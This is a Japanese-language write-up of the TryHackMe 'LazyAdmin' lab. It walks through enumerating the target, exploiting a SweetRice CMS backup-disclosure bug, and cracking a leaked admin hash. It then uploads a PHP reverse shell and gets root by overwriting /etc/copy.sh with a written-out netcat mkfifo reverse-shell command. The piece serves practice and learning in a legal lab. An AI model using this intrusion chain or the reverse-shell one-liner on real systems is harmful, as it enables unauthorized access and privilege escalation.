TryHackMe Writeup：LazyAdmin


# 最初に

Linuxを攻撃するRoomのようです

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/ac11510a-a883-8ddf-cf37-301ba4e0b2c4.png)




# Task 1


## What is the user flag?

まずはnmap!

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/18f44af0-0a40-1721-5286-26bd19544b7f.png)


HTTP接続してみます！
よくみるubuntuのページですね
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/9e86656e-ddf7-eaa3-5e0b-db87343a3776.png)


dirbusterしてみたところ、/contentsがあるみたい

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/f30a1509-9a17-667f-b2d8-d5feadb7c565.png)


SweetRiceに脆弱性があるかみてみます

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/68285429-045d-aa0b-9b35-2069ebe46deb.png)

Backup Discloserの脆弱性をみていきます
これはWriteupをみて知ったのですが、バックアップにログイン情報が入っている可能性があるためです。。

テキストファイルの中身は以下になります
```
Title: SweetRice 1.5.1 - Backup Disclosure
Application: SweetRice
Versions Affected: 1.5.1
Vendor URL: http://www.basic-cms.org/
Software URL: http://www.basic-cms.org/attachment/sweetrice-1.5.1.zip
Discovered by: Ashiyane Digital Security Team
Tested on: Windows 10
Bugs: Backup Disclosure
Date: 16-Sept-2016


Proof of Concept :

You can access to all mysql backup and download them from this directory.
http://localhost/inc/mysql_backup

and can access to website files backup from:
http://localhost/SweetRice-transfer.zip
```


`http://localhost/inc/mysql_backup`にあるみたいですが、/incは/content/incにあるので、そこだけ修正します

SQLファイルがありました！
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/4a9daa32-6277-7138-100e-f363c8477f4b.png)

これをダウンロードして開いてみてみると、怪しい文言が。。。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/103949f7-f093-d705-4dcd-79842aa76874.png)


managerのパスワードは
```
42f749ade7f9e195bf475f37a44cafcb
```

。。。

ではなく、上記はパスワードのハッシュ値ですね(-_-;)


CrackStationを使って、ハッシュ値をクラックすれば、/asのログイン画面を突破できます！！


ログインすれば、adsタブを選択するとWebUIでファイルを作成することができるので、以下のURLのPHPリバースシェルの内容を貼り付けます
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php



![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/b8751d97-daa1-6cec-3c2e-4fdf9c67f407.png)

先にリバースシェルを待ち構えておいて。。。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/409d320c-4f50-9524-1f39-131f7e1a8943.png)


phpファイルをクリックするとリバースシェルがはれます！
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/655e7e84-0940-9160-a200-d6ab5cc47695.png)

www-dataというユーザー名でログインしていますね
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/b2210f35-7040-d2e9-f197-3ec795816ecb.png)



`/home/itguy/user.txt`にフラグが記載されています！




## What is the root flag?


まずは現在のユーザがroot権限で何ができるのか確認　　
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/5fa8678a-c26e-dc4e-1ad2-570228b842e1.png)


perlが使えて、backup.plにもアクセスできるのか

backup.plは以下で、Perlコマンドで、copy.shを実行するとのこと
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/43cf8e0c-486c-ba0f-e42f-9248c01dcdb7.png)

じゃあ、copy.shはというとリバースシェルを張りに行くコマンド。。。
192.168.0.190って何のIPアドレス？と思って、www-dataからnmapしたかったがnampが入っていなかった、、、
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/2ee78b9d-87ff-27a6-2dd8-543fa3eeb4e0.png)


Writeupをみてみると、IPアドレスはTryHackMeにVPN接続しているIPアドレスを記載するとのこと。
なるほど、リバースシェルを張った先から、さらにリバースシェルをはるのか（考えた人すごいな笑）

以下のコマンドを使って、copy.shの内容を上書き
```
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.1.106 5554 >/tmp/f' >/etc/copy.sh
```

ローカルからリバースシェルを待っておいて、、、
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/2f4da35f-cb36-87e9-bb64-bbf02158d882.png)

root権限のあるperlでbackup.shを実行すると
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/76b752b6-2ebd-3eb6-4754-efe17ce3c753.png)

リバースシェルがはれました！
しかもroot!
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/02db337a-33bb-bcd3-da9b-af03aba3275b.png)

あとは`/root/root/txt`を開けば、フラグがあります！

# 最後に

今回学んだことは以下２つです！

- パスワードはハッシュ化されている
- リバースシェルを２重に張ることも可能